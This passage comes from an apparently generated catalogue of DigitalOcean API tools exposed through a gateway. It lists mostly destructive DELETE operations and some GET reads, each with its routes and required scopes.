/api/v1/digitalocean/v2/databases/{database_cluster_uuid}/dbs/{database_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_indexes_by_index_name (write, destructive) — Delete Index for OpenSearch Cluster via DELETE /v2/databases/{database_cluster_uuid}/indexes/{index_name} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/indexes/{index_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_logsink_by_logsink_id (write, destructive) — Delete Logsink for a Database Cluster via DELETE /v2/databases/{database_cluster_uuid}/logsink/{logsink_id} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/logsink/{logsink_id}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_online_migration_by_migration_id (write, destructive) — Stop an Online Migration via DELETE /v2/databases/{database_cluster_uuid}/online-migration/{migration_id} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/online-migration/{migration_id}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_pools_by_pool_name (write, destructive) — Delete a Connection Pool (PostgreSQL) via DELETE /v2/databases/{database_cluster_uuid}/pools/{pool_name} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/pools/{pool_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_replicas_by_replica_name (write, destructive) — Destroy a Read-only Replica via DELETE /v2/databases/{database_cluster_uuid}/replicas/{replica_name} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/replicas/{replica_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_schema_registry_by_subject_name (write, destructive) — Delete a Kafka Schema by Subject Name via DELETE /v2/databases/{database_cluster_uuid}/schema-registry/{subject_name} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/schema-registry/{subject_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_topics_by_topic_name (write, destructive) — Delete Topic for a Kafka Cluster via DELETE /v2/databases/{database_cluster_uuid}/topics/{topic_name} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/topics/{topic_name}. Scopes: database:delete. digitalocean_delete_v2_databases_by_database_cluster_uuid_users_by_username (write, destructive) — Remove a Database User via DELETE /v2/databases/{database_cluster_uuid}/users/{username} DELETE /api/v1/digitalocean/v2/databases/{database_cluster_uuid}/users/{username}. Scopes: database:delete. digitalocean_delete_v2_dedicated_inferences_by_dedicated_inference_id (write, destructive) — Delete a Dedicated Inference via DELETE /v2/dedicated-inferences/{dedicated_inference_id} DELETE /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}. Scopes: dedicated_inference:delete. digitalocean_delete_v2_dedicated_inferences_by_dedicated_inference_id_tokens_by_token_id (write, destructive) — Revoke a Dedicated Inference Token via DELETE /v2/dedicated-inferences/{dedicated_inference_id}/tokens/{token_id} DELETE /api/v1/digitalocean/v2/dedicated-inferences/{dedicated_inference_id}/tokens/{token_id}. Scopes: dedicated_inference_token:delete. digitalocean_delete_v2_domains_by_domain_name (write, destructive) — Delete a Domain via DELETE /v2/domains/{domain_name} DELETE /api/v1/digitalocean/v2/domains/{domain_name}. Scopes: domain:delete. digitalocean_delete_v2_domains_by_domain_name_records_by_domain_record_id (write, destructive) — Delete a Domain Record via DELETE /v2/domains/{domain_name}/records/{domain_record_id} DELETE /api/v1/digitalocean/v2/domains/{domain_name}/records/{domain_record_id}. Scopes: domain:delete. digitalocean_delete_v2_droplets (write, destructive) — Deleting Droplets by Tag via DELETE /v2/droplets DELETE /api/v1/digitalocean/v2/droplets. Scopes: droplet:delete. digitalocean_delete_v2_droplets_autoscale_by_autoscale_pool_id (write, destructive) — Delete autoscale pool via DELETE /v2/droplets/autoscale/{autoscale_pool_id} DELETE /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}. Scopes: droplet:delete. digitalocean_delete_v2_droplets_autoscale_by_autoscale_pool_id_dangerous (write, destructive) — Delete autoscale pool and resources via DELETE /v2/droplets/autoscale/{autoscale_pool_id}/dangerous DELETE /api/v1/digitalocean/v2/droplets/autoscale/{autoscale_pool_id}/dangerous. Scopes: droplet:delete. digitalocean_delete_v2_droplets_by_droplet_id (write, destructive) — Delete an Existing Droplet via DELETE /v2/droplets/{droplet_id} DELETE /api/v1/digitalocean/v2/droplets/{droplet_id}. Scopes: droplet:delete. digitalocean_delete_v2_droplets_by_droplet_id_destroy_with_associated_resources_dangerous (write, destructive) — Destroy a Droplet and All of its Associated Resources (Dangerous) via DELETE /v2/droplets/{droplet_id}/destroy_with_associated_resources/dangerous DELETE /api/v1/digitalocean/v2/droplets/{droplet_id}/destroy_with_associated_resources/dangerous. Scopes: block_storage:delete, block_storage_snapshot:delete, droplet:delete, image:delete, reserved_ip:delete. digitalocean_delete_v2_droplets_by_droplet_id_destroy_with_associated_resources_selective (write, destructive) — Selectively Destroy a Droplet and its Associated Resources via DELETE /v2/droplets/{droplet_id}/destroy_with_associated_resources/selective DELETE /api/v1/digitalocean/v2/droplets/{droplet_id}/destroy_with_associated_resources/selective. Scopes: block_storage:delete, block_storage_snapshot:delete, droplet:delete, image:delete, reserved_ip:delete. digitalocean_delete_v2_firewalls_by_firewall_id (write, destructive) — Delete a Firewall via DELETE /v2/firewalls/{firewall_id} DELETE /api/v1/digitalocean/v2/firewalls/{firewall_id}. Scopes: firewall:delete. digitalocean_delete_v2_firewalls_by_firewall_id_droplets (write, destructive) — Remove Droplets from a Firewall via DELETE /v2/firewalls/{firewall_id}/droplets DELETE /api/v1/digitalocean/v2/firewalls/{firewall_id}/droplets. Scopes: firewall:update. digitalocean_delete_v2_firewalls_by_firewall_id_rules (write, destructive) — Remove Rules from a Firewall via DELETE /v2/firewalls/{firewall_id}/rules DELETE /api/v1/digitalocean/v2/firewalls/{firewall_id}/rules. Scopes: firewall:update. digitalocean_delete_v2_firewalls_by_firewall_id_tags (write, destructive) — Remove Tags from a Firewall via DELETE /v2/firewalls/{firewall_id}/tags DELETE /api/v1/digitalocean/v2/firewalls/{firewall_id}/tags. Scopes: firewall:update. digitalocean_delete_v2_floating_ips_by_floating_ip (write, destructive) — Delete a Floating IP via DELETE /v2/floating_ips/{floating_ip} DELETE /api/v1/digitalocean/v2/floating_ips/{floating_ip}. Scopes: reserved_ip:delete. digitalocean_delete_v2_functions_namespaces_by_namespace_id (write, destructive) — Delete Namespace via DELETE /v2/functions/namespaces/{namespace_id} DELETE /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}. Scopes: function:delete. digitalocean_delete_v2_functions_namespaces_by_namespace_id_keys_by_key_id (write, destructive) — Delete a Namespace Access Key via DELETE /v2/functions/namespaces/{namespace_id}/keys/{key_id} DELETE /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/keys/{key_id}. Scopes: function:admin. digitalocean_delete_v2_functions_namespaces_by_namespace_id_triggers_by_trigger_name (write, destructive) — Delete Trigger via DELETE /v2/functions/namespaces/{namespace_id}/triggers/{trigger_name} DELETE /api/v1/digitalocean/v2/functions/namespaces/{namespace_id}/triggers/{trigger_name}. Scopes: function:delete. digitalocean_delete_v2_gen_ai_agents_by_agent_uuid_api_keys_by_api_key_uuid (write, destructive) — Delete API Key for an Agent via DELETE /v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/api_keys/{api_key_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_agents_by_agent_uuid_functions_by_function_uuid (write, destructive) — Delete Function Route for an Agent via DELETE /v2/gen-ai/agents/{agent_uuid}/functions/{function_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/functions/{function_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_agents_by_agent_uuid_guardrails_by_guardrail_uuid (write, destructive) — Detach a Guardrail from an Agent via DELETE /v2/gen-ai/agents/{agent_uuid}/guardrails/{guardrail_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/guardrails/{guardrail_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_agents_by_agent_uuid_knowledge_bases_by_knowledge_base_uuid (write, destructive) — Detach Knowledge Base from an Agent via DELETE /v2/gen-ai/agents/{agent_uuid}/knowledge_bases/{knowledge_base_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{agent_uuid}/knowledge_bases/{knowledge_base_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_agents_by_parent_agent_uuid_child_agents_by_child_agent_uuid (write, destructive) — Delete Agent Route for an Agent via DELETE /v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{parent_agent_uuid}/child_agents/{child_agent_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_agents_by_uuid (write, destructive) — Delete an Agent via DELETE /v2/gen-ai/agents/{uuid} DELETE /api/v1/digitalocean/v2/gen-ai/agents/{uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_anthropic_keys_by_api_key_uuid (write, destructive) — Delete Anthropic API Key via DELETE /v2/gen-ai/anthropic/keys/{api_key_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/anthropic/keys/{api_key_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_custom_evaluation_metrics_by_metric_uuid (write, destructive) — Delete Custom Evaluation Metric via DELETE /v2/gen-ai/custom_evaluation_metrics/{metric_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/custom_evaluation_metrics/{metric_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_custom_models_by_uuid (write, destructive) — Delete Custom Model via DELETE /v2/gen-ai/custom_models/{uuid} DELETE /api/v1/digitalocean/v2/gen-ai/custom_models/{uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_evaluation_datasets_by_dataset_uuid (write, destructive) — Delete Evaluation Dataset via DELETE /v2/gen-ai/evaluation_datasets/{dataset_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/evaluation_datasets/{dataset_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_knowledge_bases_by_knowledge_base_uuid_data_sources_by_data_source_uuid (write, destructive) — Delete a Data Source from a Knowledge Base via DELETE /v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources/{data_source_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{knowledge_base_uuid}/data_sources/{data_source_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_knowledge_bases_by_uuid (write, destructive) — Delete a Knowledge Base via DELETE /v2/gen-ai/knowledge_bases/{uuid} DELETE /api/v1/digitalocean/v2/gen-ai/knowledge_bases/{uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_model_evaluation_presets_by_eval_preset_uuid (write, destructive) — Delete Model Evaluation Preset via DELETE /v2/gen-ai/model_evaluation_presets/{eval_preset_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/model_evaluation_presets/{eval_preset_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_model_evaluation_runs_by_eval_run_uuid (write, destructive) — Delete Model Evaluation Run via DELETE /v2/gen-ai/model_evaluation_runs/{eval_run_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/model_evaluation_runs/{eval_run_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_models_api_keys_by_api_key_uuid (write, destructive) — Delete API Key for a Model via DELETE /v2/gen-ai/models/api_keys/{api_key_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/models/api_keys/{api_key_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_models_routers_by_uuid (write, destructive) — Delete a Model Router via DELETE /v2/gen-ai/models/routers/{uuid} DELETE /api/v1/digitalocean/v2/gen-ai/models/routers/{uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_openai_keys_by_api_key_uuid (write, destructive) — Delete OpenAI API Key via DELETE /v2/gen-ai/openai/keys/{api_key_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/openai/keys/{api_key_uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_scheduled_indexing_by_uuid (write, destructive) — Delete Scheduled Indexing via DELETE /v2/gen-ai/scheduled-indexing/{uuid} DELETE /api/v1/digitalocean/v2/gen-ai/scheduled-indexing/{uuid}. Scopes: genai:delete. digitalocean_delete_v2_gen_ai_workspaces_by_workspace_uuid (write, destructive) — Delete a Workspace via DELETE /v2/gen-ai/workspaces/{workspace_uuid} DELETE /api/v1/digitalocean/v2/gen-ai/workspaces/{workspace_uuid}. Scopes: genai:delete. digitalocean_delete_v2_images_by_image_id (write, destructive) — Delete an Image via DELETE /v2/images/{image_id} DELETE /api/v1/digitalocean/v2/images/{image_id}. Scopes: image:delete. digitalocean_delete_v2_kubernetes_clusters_by_cluster_id (write, destructive) — Delete a Kubernetes Cluster via DELETE /v2/kubernetes/clusters/{cluster_id} DELETE /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}. Scopes: kubernetes:delete. digitalocean_delete_v2_kubernetes_clusters_by_cluster_id_destroy_with_associated_resources_dangerous (write, destructive) — Delete a Cluster and All of its Associated Resources (Dangerous) via DELETE /v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources/dangerous DELETE /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources/dangerous. Scopes: kubernetes:delete. digitalocean_delete_v2_kubernetes_clusters_by_cluster_id_destroy_with_associated_resources_selective (write, destructive) — Selectively Delete a Cluster and its Associated Resources via DELETE /v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources/selective DELETE /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/destroy_with_associated_resources/selective. Scopes: kubernetes:delete. digitalocean_delete_v2_kubernetes_clusters_by_cluster_id_node_pools_by_node_pool_id (write, destructive) — Delete a Node Pool in a Kubernetes Cluster via DELETE /v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id} DELETE /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}. Scopes: kubernetes:update. digitalocean_delete_v2_kubernetes_clusters_by_cluster_id_node_pools_by_node_pool_id_nodes_by_node_id (write, destructive) — Delete a Node in a Kubernetes Cluster via DELETE /v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}/nodes/{node_id} DELETE /api/v1/digitalocean/v2/kubernetes/clusters/{cluster_id}/node_pools/{node_pool_id}/nodes/{node_id}. Scopes: kubernetes:update. digitalocean_delete_v2_kubernetes_registries (write, destructive) — Remove Container Registries from Kubernetes Clusters via DELETE /v2/kubernetes/registries DELETE /api/v1/digitalocean/v2/kubernetes/registries. Scopes: kubernetes:update. digitalocean_delete_v2_kubernetes_registry (write, destructive) — Remove Container Registry from Kubernetes Clusters via DELETE /v2/kubernetes/registry DELETE /api/v1/digitalocean/v2/kubernetes/registry. Scopes: kubernetes:update. digitalocean_delete_v2_load_balancers_by_lb_id (write, destructive) — Delete a Load Balancer via DELETE /v2/load_balancers/{lb_id} DELETE /api/v1/digitalocean/v2/load_balancers/{lb_id}. Scopes: load_balancer:delete. digitalocean_delete_v2_load_balancers_by_lb_id_cache (write, destructive) — Delete a Global Load Balancer CDN Cache via DELETE /v2/load_balancers/{lb_id}/cache DELETE /api/v1/digitalocean/v2/load_balancers/{lb_id}/cache. Scopes: load_balancer:delete. digitalocean_delete_v2_load_balancers_by_lb_id_droplets (write, destructive) — Remove Droplets from a Load Balancer via DELETE /v2/load_balancers/{lb_id}/droplets DELETE /api/v1/digitalocean/v2/load_balancers/{lb_id}/droplets. Scopes: load_balancer:update. digitalocean_delete_v2_load_balancers_by_lb_id_forwarding_rules (write, destructive) — Remove Forwarding Rules from a Load Balancer via DELETE /v2/load_balancers/{lb_id}/forwarding_rules DELETE /api/v1/digitalocean/v2/load_balancers/{lb_id}/forwarding_rules. Scopes: load_balancer:update. digitalocean_delete_v2_monitoring_alerts_by_alert_uuid (write, destructive) — Delete an Alert Policy via DELETE /v2/monitoring/alerts/{alert_uuid} DELETE /api/v1/digitalocean/v2/monitoring/alerts/{alert_uuid}. Scopes: monitoring:delete. digitalocean_delete_v2_monitoring_sinks_by_sink_uuid (write, destructive) — Delete Sink via DELETE /v2/monitoring/sinks/{sink_uuid} DELETE /api/v1/digitalocean/v2/monitoring/sinks/{sink_uuid}. Scopes: monitoring:delete. digitalocean_delete_v2_monitoring_sinks_destinations_by_destination_uuid (write, destructive) — Delete Logging Destination via DELETE /v2/monitoring/sinks/destinations/{destination_uuid} DELETE /api/v1/digitalocean/v2/monitoring/sinks/destinations/{destination_uuid}. Scopes: monitoring:delete. digitalocean_delete_v2_nfs_access_points_by_access_point_id (write, destructive) — Delete an NFS access point via DELETE /v2/nfs/access_points/{access_point_id} DELETE /api/v1/digitalocean/v2/nfs/access_points/{access_point_id}. Scopes: nfs:delete. digitalocean_delete_v2_nfs_by_nfs_id (write, destructive) — Delete an NFS share via DELETE /v2/nfs/{nfs_id} DELETE /api/v1/digitalocean/v2/nfs/{nfs_id}. Scopes: nfs:delete. digitalocean_delete_v2_nfs_snapshots_by_nfs_snapshot_id (write, destructive) — Delete an NFS snapshot via DELETE /v2/nfs/snapshots/{nfs_snapshot_id} DELETE /api/v1/digitalocean/v2/nfs/snapshots/{nfs_snapshot_id}. Scopes: nfs:delete. digitalocean_delete_v2_partner_network_connect_attachments_by_pa_id (write, destructive) — Delete an existing partner attachment via DELETE /v2/partner_network_connect/attachments/{pa_id} DELETE /api/v1/digitalocean/v2/partner_network_connect/attachments/{pa_id}. Scopes: partner_network_connect:read. digitalocean_delete_v2_projects_by_project_id (write, destructive) — Delete an Existing Project via DELETE /v2/projects/{project_id} DELETE /api/v1/digitalocean/v2/projects/{project_id}. Scopes: project:delete. digitalocean_delete_v2_registries_by_registry_name (write, destructive) — Delete Container Registry By Name via DELETE /v2/registries/{registry_name} DELETE /api/v1/digitalocean/v2/registries/{registry_name}. Scopes: registry:delete. digitalocean_delete_v2_registries_by_registry_name_repositories_by_repository_name (write, destructive) — Delete Container Registry Repository via DELETE /v2/registries/{registry_name}/repositories/{repository_name} DELETE /api/v1/digitalocean/v2/registries/{registry_name}/repositories/{repository_name}. Scopes: registry:delete. digitalocean_delete_v2_registries_by_registry_name_repositories_by_repository_name_digests_by_manifest_digest (write, destructive) — Delete Container Registry Repository Manifest via DELETE /v2/registries/{registry_name}/repositories/{repository_name}/digests/{manifest_digest} DELETE /api/v1/digitalocean/v2/registries/{registry_name}/repositories/{repository_name}/digests/{manifest_digest}. Scopes: registry:delete. digitalocean_delete_v2_registries_by_registry_name_repositories_by_repository_name_tags_by_repository_tag (write, destructive) — Delete Container Registry Repository Tag via DELETE /v2/registries/{registry_name}/repositories/{repository_name}/tags/{repository_tag} DELETE /api/v1/digitalocean/v2/registries/{registry_name}/repositories/{repository_name}/tags/{repository_tag}. Scopes: registry:delete. digitalocean_delete_v2_registry (write, destructive) — Delete Container Registry via DELETE /v2/registry DELETE /api/v1/digitalocean/v2/registry. Scopes: registry:delete. digitalocean_delete_v2_registry_by_registry_name_repositories_by_repository_name_digests_by_manifest_digest (write, destructive) — Delete Container Registry Repository Manifest via DELETE /v2/registry/{registry_name}/repositories/{repository_name}/digests/{manifest_digest} DELETE /api/v1/digitalocean/v2/registry/{registry_name}/repositories/{repository_name}/digests/{manifest_digest}. Scopes: registry:delete. digitalocean_delete_v2_registry_by_registry_name_repositories_by_repository_name_tags_by_repository_tag (write, destructive) — Delete Container Registry Repository Tag via DELETE /v2/registry/{registry_name}/repositories/{repository_name}/tags/{repository_tag} DELETE /api/v1/digitalocean/v2/registry/{registry_name}/repositories/{repository_name}/tags/{repository_tag}. Scopes: registry:delete. digitalocean_delete_v2_reserved_ips_by_reserved_ip (write, destructive) — Delete a Reserved IP via DELETE /v2/reserved_ips/{reserved_ip} DELETE /api/v1/digitalocean/v2/reserved_ips/{reserved_ip}. Scopes: reserved_ip:delete. digitalocean_delete_v2_reserved_ipv6_by_reserved_ipv6 (write, destructive) — Delete a Reserved IPv6 via DELETE /v2/reserved_ipv6/{reserved_ipv6} DELETE /api/v1/digitalocean/v2/reserved_ipv6/{reserved_ipv6}. Scopes: reserved_ip:delete. digitalocean_delete_v2_security_settings_suppressions_by_suppression_uuid (write, destructive) — Delete Suppression via DELETE /v2/security/settings/suppressions/{suppression_uuid} DELETE /api/v1/digitalocean/v2/security/settings/suppressions/{suppression_uuid}. Scopes: security:delete. digitalocean_delete_v2_snapshots_by_snapshot_id (write, destructive) — Delete a Snapshot via DELETE /v2/snapshots/{snapshot_id} DELETE /api/v1/digitalocean/v2/snapshots/{snapshot_id}. Scopes: snapshot:delete. digitalocean_delete_v2_spaces_keys_by_access_key (write, destructive) — Delete a Spaces Access Key via DELETE /v2/spaces/keys/{access_key} DELETE /api/v1/digitalocean/v2/spaces/keys/{access_key}. Scopes: spaces_key:delete. digitalocean_delete_v2_tags_by_tag_id (write, destructive) — Delete a Tag via DELETE /v2/tags/{tag_id} DELETE /api/v1/digitalocean/v2/tags/{tag_id}. Scopes: tag:delete. digitalocean_delete_v2_tags_by_tag_id_resources (write, destructive) — Untag a Resource via DELETE /v2/tags/{tag_id}/resources DELETE /api/v1/digitalocean/v2/tags/{tag_id}/resources. Scopes: tag:delete. digitalocean_delete_v2_uptime_checks_by_check_id (write, destructive) — Delete a Check via DELETE /v2/uptime/checks/{check_id} DELETE /api/v1/digitalocean/v2/uptime/checks/{check_id}. Scopes: uptime:delete. digitalocean_delete_v2_uptime_checks_by_check_id_alerts_by_alert_id (write, destructive) — Delete an Alert via DELETE /v2/uptime/checks/{check_id}/alerts/{alert_id} DELETE /api/v1/digitalocean/v2/uptime/checks/{check_id}/alerts/{alert_id}. Scopes: uptime:delete. digitalocean_delete_v2_vector_databases_by_id (write, destructive) — Delete a Vector Database via DELETE /v2/vector-databases/{id} DELETE /api/v1/digitalocean/v2/vector-databases/{id}. Scopes: database:delete. digitalocean_delete_v2_volumes (write, destructive) — Delete a Block Storage Volume by Name via DELETE /v2/volumes DELETE /api/v1/digitalocean/v2/volumes. Scopes: block_storage:delete. digitalocean_delete_v2_volumes_by_volume_id (write, destructive) — Delete a Block Storage Volume via DELETE /v2/volumes/{volume_id} DELETE /api/v1/digitalocean/v2/volumes/{volume_id}. Scopes: block_storage:delete. digitalocean_delete_v2_volumes_snapshots_by_snapshot_id (write, destructive) — Delete a Volume Snapshot via DELETE /v2/volumes/snapshots/{snapshot_id} DELETE /api/v1/digitalocean/v2/volumes/snapshots/{snapshot_id}. Scopes: block_storage_snapshot:delete. digitalocean_delete_v2_vpc_nat_gateways_by_id (write, destructive) — Delete VPC NAT Gateway via DELETE /v2/vpc_nat_gateways/{id} DELETE /api/v1/digitalocean/v2/vpc_nat_gateways/{id}. Scopes: nat_gateway:delete. digitalocean_delete_v2_vpc_peerings_by_vpc_peering_id (write, destructive) — Delete a VPC peering via DELETE /v2/vpc_peerings/{vpc_peering_id} DELETE /api/v1/digitalocean/v2/vpc_peerings/{vpc_peering_id}. Scopes: vpc_peering:delete. digitalocean_delete_v2_vpcs_by_vpc_id (write, destructive) — Delete a VPC via DELETE /v2/vpcs/{vpc_id} DELETE /api/v1/digitalocean/v2/vpcs/{vpc_id}. Scopes: vpc:delete. digitalocean_get_v1_batches (read) — List Batch Inference Jobs via GET /v1/batches GET /api/v1/digitalocean/v1/batches. Scopes: none. digitalocean_get_v1_batches_by_batch_id (read) — Retrieve a Batch Inference Job via GET /v1/batches/{batch_id} GET /api/v1/digitalocean/v1/batches/{batch_id}. Scopes: none. digitalocean_get_v1_batches_by_batch_id_results (read) — Get Batch Inference Results Download Links via GET /v1/batches/{batch_id}/results GET /api/v1/digitalocean/v1/batches/{batch_id}/results. Scopes: none. digitalocean_get_v1_models (read) — List available models via GET /v1/models GET /api/v1/digitalocean/v1/models. Scopes: none. digitalocean_get_v2_1_clicks (read) — List 1-Click Applications via GET /v2/1-clicks GET /api/v1/digitalocean/v2/1-clicks. Scopes: none. digitalocean_get_v2_account (read) — Get User Information via GET /v2/account GET /api/v1/digitalocean/v2/account. Scopes: account:read. digitalocean_get_v2_account_keys (read) — List All SSH Keys via GET /v2/account/keys GET /api/v1/digitalocean/v2/account/keys. Scopes: ssh_key:read. digitalocean_get_v2_account_keys_by_ssh_key_identifier (read) — Retrieve an Existing SSH Key via GET /v2/account/keys/{ssh_key_identifier} GET /api/v1/digitalocean/v2/account/keys/{ssh_key_identifier}. Scopes: ssh_key:read. digitalocean_get_v2_actions (read) — List All Actions via GET /v2/actions GET /api/v1/digitalocean/v2/actions. Scopes: actions:read. digitalocean_get_v2_actions_by_action_id (read) — Retrieve an Existing Action via GET /v2/actions/{action_id} GET /api/v1/digitalocean/v2/actions/{action_id}. Scopes: actions:read. digitalocean_get_v2_add_ons_apps (read) — List Available Add-On Applications via GET /v2/add-ons/apps GET /api/v1/digitalocean/v2/add-ons/apps. Scopes: none. digitalocean_get_v2_add_ons_apps_by_app_slug_metadata (read) — Get Metadata for an Add-On Application via GET /v2/add-ons/apps/{app_slug}/metadata GET /api/v1/digitalocean/v2/add-ons/apps/{app_slug}/metadata. Scopes: none. digitalocean_get_v2_add_ons_saas (read) — List all Add-On Resources via GET /v2/add-ons/saas GET /api/v1/digitalocean/v2/add-ons/saas. Scopes: addon:read. digitalocean_get_v2_add_ons_saas_by_resource_uuid (read) — Get details on an Add-On Resource via GET /v2/add-ons/saas/{resource_uuid} GET /api/v1/digitalocean/v2/add-ons/saas/{resource_uuid}. Scopes: addon:read. digitalocean_get_v2_apps (read) — List All Apps via GET /v2/apps GET /api/v1/digitalocean/v2/apps. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_alerts (read) — List all app alerts via GET /v2/apps/{app_id}/alerts GET /api/v1/digitalocean/v2/apps/{app_id}/alerts. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_components_by_component_name_exec (read) — Retrieve Exec URL via GET /v2/apps/{app_id}/components/{component_name}/exec GET /api/v1/digitalocean/v2/apps/{app_id}/components/{component_name}/exec. Scopes: app:access_console. digitalocean_get_v2_apps_by_app_id_components_by_component_name_logs (read) — Retrieve Active Deployment Logs via GET /v2/apps/{app_id}/components/{component_name}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/components/{component_name}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_deployments (read) — List App Deployments via GET /v2/apps/{app_id}/deployments GET /api/v1/digitalocean/v2/apps/{app_id}/deployments. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_deployments_by_deployment_id (read) — Retrieve an App Deployment via GET /v2/apps/{app_id}/deployments/{deployment_id} GET /api/v1/digitalocean/v2/apps/{app_id}/deployments/{deployment_id}. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_deployments_by_deployment_id_components_by_component_name_exec (read) — Retrieve Exec URL for Deployment via GET /v2/apps/{app_id}/deployments/{deployment_id}/components/{component_name}/exec GET /api/v1/digitalocean/v2/apps/{app_id}/deployments/{deployment_id}/components/{component_name}/exec. Scopes: app:access_console. digitalocean_get_v2_apps_by_app_id_deployments_by_deployment_id_components_by_component_name_logs (read) — Retrieve Deployment Logs via GET /v2/apps/{app_id}/deployments/{deployment_id}/components/{component_name}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/deployments/{deployment_id}/components/{component_name}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_deployments_by_deployment_id_logs (read) — Retrieve Aggregate Deployment Logs via GET /v2/apps/{app_id}/deployments/{deployment_id}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/deployments/{deployment_id}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_events (read) — List App Events via GET /v2/apps/{app_id}/events GET /api/v1/digitalocean/v2/apps/{app_id}/events. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_events_by_event_id (read) — Get an Event via GET /v2/apps/{app_id}/events/{event_id} GET /api/v1/digitalocean/v2/apps/{app_id}/events/{event_id}. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_events_by_event_id_logs (read) — Retrieve Event Logs via GET /v2/apps/{app_id}/events/{event_id}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/events/{event_id}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_health (read) — Retrieve App Health via GET /v2/apps/{app_id}/health GET /api/v1/digitalocean/v2/apps/{app_id}/health. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_instances (read) — Retrieve App Instances via GET /v2/apps/{app_id}/instances GET /api/v1/digitalocean/v2/apps/{app_id}/instances. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_job_invocations (read) — List Job Invocations via GET /v2/apps/{app_id}/job-invocations GET /api/v1/digitalocean/v2/apps/{app_id}/job-invocations. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_job_invocations_by_job_invocation_id (read) — Get Job Invocations via GET /v2/apps/{app_id}/job-invocations/{job_invocation_id} GET /api/v1/digitalocean/v2/apps/{app_id}/job-invocations/{job_invocation_id}. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_jobs_by_job_name_invocations_by_job_invocation_id_logs (read) — Retrieve Job Invocation Logs via GET /v2/apps/{app_id}/jobs/{job_name}/invocations/{job_invocation_id}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/jobs/{job_name}/invocations/{job_invocation_id}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_logs (read) — Retrieve Active Deployment Aggregate Logs via GET /v2/apps/{app_id}/logs GET /api/v1/digitalocean/v2/apps/{app_id}/logs. Scopes: app:read. digitalocean_get_v2_apps_by_app_id_metrics_bandwidth_daily 